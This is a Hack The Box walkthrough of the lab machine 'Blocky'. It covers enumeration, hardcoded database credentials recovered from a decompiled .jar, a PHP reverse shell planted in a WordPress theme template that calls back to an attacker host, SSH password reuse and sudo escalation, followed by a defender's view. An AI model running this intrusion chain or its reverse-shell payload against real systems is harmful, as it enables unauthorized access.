Blocky
Executive summary — Blocky is an Easy Linux box with a great lesson about secrets in code. A Minecraft-blog WordPress mentions user
notchin a post, and gobuster finds a/pluginsdirectory holding two downloadable.jarfiles, plus an exposed/phpmyadminpanel. Decompiling one of the.jarfiles reveals hardcoded MySQL credentials. That password doesn't work on the WordPress login, but it does unlockphpMyAdmin— from there an alternate path exists (rewritingnotch's hash inwp_usersand planting a reverse shell in the theme template) that lands aswww-data, without direct access to the user flag. The clean route is simpler:notchreuses that same database password directly over SSH. Once in, unrestrictedsudogives root immediately. A WordPress → .jar → credentials → SSH → sudo → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[80] WordPress (Minecraft blog) → a post reveals user «notch»
│ gobuster → /plugins (two downloadable .jar files), exposed /phpmyadmin
▼
[.jar] decompiled BlockyCore.jar → MySQL credentials: root:8Ysqf...
│ don't work on wp-login, DO work on /phpmyadmin
├─▶ (alt route) phpMyAdmin → MD5 hash in wp_users → wp-admin →
│ reverse shell in the 404.php template → www-data (no user.txt)
▼
[SSH] notch reuses that same .jar password → user.txt
│ sudo -l → (ALL : ALL) ALL, no NOPASSWD
▼
[ROOT] sudo su
1. Reconnaissance with Nmap
First, a quick full-port scan so nothing outside the usual service list slips by:
nmap -p- --min-rate=1000 -T4 -Pn <TARGET_IP> -oN nmap_all_ports.txt
-p-scans all 65535 ports,--min-rate=1000speeds up packet sending,-Pnskips ping discovery (in case the host blocks ICMP) and-T4raises the timing aggressiveness.
With the open ports already located, a detailed scan against those specific ports:
nmap -p21,22,80,25565 -sC -sV -A <TARGET_IP> -oN nmap_detailed.txt
21/tcp open ftp
22/tcp open ssh
80/tcp open http
25565/tcp open minecraft
-sCruns the default NSE scripts,-sVdetects service versions and-Aadds OS detection and traceroute. Port 25565 (Minecraft) confirms the site's theme before we even open a browser; FTP (21) and SSH (22) give up nothing without credentials, so HTTP (80) is the mandatory entry point.
2. Web enumeration (WordPress)
We add the domain to /etc/hosts — good practice with WordPress, since some internal links and redirects depend on the hostname, not just the IP:
echo "<TARGET_IP> blocky.htb" | sudo tee -a /etc/hosts
Browsing to http://blocky.htb reveals an “under construction” Minecraft blog built on WordPress, with a Log in tab. One post mentions a user: notch. Worth noting — on HTB, names that show up “in passing” are rarely a coincidence.
We try a handful of default credentials against the login, at zero cost:
admin:admin
notch:notch
admin:password
None of them work, but we confirm
notchis indeed a real user (of the blog, at least) worth keeping in mind.
3. Directory fuzzing with Gobuster
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50 -o gobuster_root.txt
-w is the wordlist, -x adds extensions to try on every word and -t 50 means 50 concurrent threads.
/phpmyadmin
/wp-content
/plugins
/wiki
Quick rundown of each hit: /phpmyadmin is the standard phpMyAdmin login (noted for later credential testing); /wp-content has directory listing disabled; /wiki has no relevant content.
The interesting one is
/plugins: it has two downloadable.jarfiles. A.jaris compiled Java code — and compiled code often hides secrets its author assumed no one would ever read.
4. Decompiling the .jar files → MySQL credentials
We download both files from the /plugins directory:
mkdir jars && cd jars
wget http://<TARGET_IP>/plugins/BlockyCore.jar
wget http://<TARGET_IP>/plugins/griefprevention-1.11.2-3.1.1.298.jar
griefprevention-1.11.2-3.1.1.298.jar is a public, legitimate Minecraft Forge plugin (GriefPrevention) — unlikely to hide anything box-specific. BlockyCore.jar, on the other hand, is a custom name: the prime suspect.
A .jar is essentially a ZIP file of Java bytecode. To read the source we need to decompile it. Two options:
# Option A -- jd-gui (graphical, on Kali)
sudo apt install jd-gui -y
jd-gui BlockyCore.jar
# Option B -- extract and grep strings directly (fast, no GUI)
mkdir extracted && cd extracted
unzip ../BlockyCore.jar -d blockycore_out
grep -r -i "sql\|pass" blockycore_out/
Credentials often end up hardcoded in plain text inside the
.classfiles, and grepping the decompiled code —or even the raw compiled binary— already shows them in the clear. Java bytecode reverts almost to the original source: decompiling isn't magic.
public String sqlHost = "localhost";
public String sqlUser = "root";
public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";
5. Confirming with WPScan
wpscan --url http://<TARGET_IP> --enumerate u,vp,vt --api-token YOUR_API_TOKEN -o wpscan_result.txt
--enumerate u enumerates users, vp vulnerable plugins and vt vulnerable themes. The --api-token (free at wpscan.com) adds known-CVE detail; without it, WPScan still works, just without that extra.
The scan confirms what we already suspected and adds new context:
- Independent confirmation of user
notch. - An outdated WordPress version.
- An obsolete Twenty Seventeen theme (worth remembering for the alternate route).
/wp-content/uploadsreachable — a potential file-upload attack surface.
6. From credentials to a shell
With the .jar credentials (root:8YsqfCTnvxAUeduzjNSXe22) in hand, we test them against the panels we found: on the WordPress login they don't work; on /phpmyadmin, access granted.
6.1 Alternate route — pivoting from phpMyAdmin
Inside phpMyAdmin, the WordPress database exposes the wp_users table. Editing notch's record and typing a new password into the user_pass field with the MD5 function selected has phpMyAdmin hash it automatically on save — the exact format WordPress expects in that column:
user_pass = MD5('password123') -- via phpMyAdmin's function dropdown
With that, we log into the WordPress panel as an administrator (notch / password123) and abuse a classic WordPress post-exploitation feature: the theme editor. Under Appearance → Theme Editor → Twenty Seventeen → 404.php we replace the content with a PentestMonkey reverse shell:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
$ip = '<ATTACKER_IP>'; // your HTB VPN IP
$port = 4444;
We paste the edited content into the WordPress editor and save (Update File). With the listener up, we force the server to load that template by hitting any non-existent path:
nc -lvnp 4444
curl http://<TARGET_IP>/this-does-not-exist
The request to a non-existent URL triggers the modified
404.phptemplate, and the reverse shell connects back as the user running the web server,www-data. This route confirms the theme-editor exploitation, butwww-datausually doesn't have permission to read/home/notch/user.txtdirectly — hence the more direct route below.
6.2 Clean route — direct SSH via password reuse
The same password leaked in the .jar is reused by user notch for SSH as well — no need to go through WordPress or phpMyAdmin at all:
ssh notch@<TARGET_IP>
# password: 8YsqfCTnvxAUeduzjNSXe22
cat /home/notch/user.txt
7. Privilege escalation
We check what notch can run with sudo:
sudo -l
User notch may run the following commands on blocky:
(ALL : ALL) ALL
(ALL : ALL) ALLmeansnotchcan run any command, as any user (including root).NOPASSWDisn't needed for this to be a direct path to root:sudowill just ask fornotch's own password, which we already know.
sudo su
whoami → root
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info leak | BlockyCore.jar plugin | Hardcoded MySQL credentials, recoverable by decompiling | MySQL root password |
| Exposure | phpMyAdmin | Unrestricted panel accepts the leaked credentials | Access to the WordPress database |
| Web app | WordPress theme editor (Twenty Seventeen) | Arbitrary PHP write via the theme editor with admin access | RCE as www-data (alternate route) |
| Foothold | SSH | Password reuse of the DB credentials by user notch | Direct access as notch / user.txt |
| PrivEsc | sudo | notch with (ALL : ALL) ALL | Root |
Defender's view
Most of this chain is one leaked password used in four places. Detecting it means watching where credentials are used, not just where they are stored.
Hardcoded credentials in a downloadable plugin .jar
How it shows up in logs / telemetry
- The access log records anonymous downloads of the
.jarfiles under/plugins/, following a burst of directory-enumeration requests from the same client.
How to fix it
- Remove secrets from code entirely; inject them at runtime from configuration or a secrets manager, and rotate any credential that ever shipped inside an artifact.
- Do not publish build artifacts from the web server at all unless that is their explicit purpose.
Exposed phpMyAdmin and the WordPress theme editor
How it shows up in logs / telemetry
- A phpMyAdmin login from an external address, followed by a direct
UPDATEonwp_users(visible in the MySQL general or audit log if enabled), is unambiguous tampering. - Then a WordPress admin login and a save of
404.phpin the theme editor; FIM on the theme directory catches the PHP change, and process telemetry showswww-dataspawning a shell.
How to fix it
- Restrict phpMyAdmin to localhost or a VPN, or remove it. Applications should never use the MySQL
rootaccount. - Set
DISALLOW_FILE_EDITinwp-config.phpand keep theme and plugin files read-only to the web server.
Password reuse over SSH and full sudo
How it shows up in logs / telemetry
auth.logshows a password-based SSH login fornotch, thensudoto a root shell within seconds of first login.
How to fix it
- Use unique passwords per service and key-only SSH.
- Replace
(ALL : ALL) ALLwith narrowly scoped rules; full sudo turns any credential leak into root.
Lessons learned
- Never put secrets in code: a
.jar/.classfile decompiles almost back to its original source and reveals the credentials as-is. - Don't expose admin panels (phpMyAdmin) or internal directories (
/plugins) without an extra layer of access control. - The WordPress theme editor is, in practice, a built-in “upload a shell” feature for any admin: treat it as RCE surface and disable it with
DISALLOW_FILE_EDIT. - Password reuse across services (database, SSH) multiplies the impact of a single leak.
sudo (ALL : ALL) ALLis, for all practical purposes, handing over full root: always apply the principle of least privilege.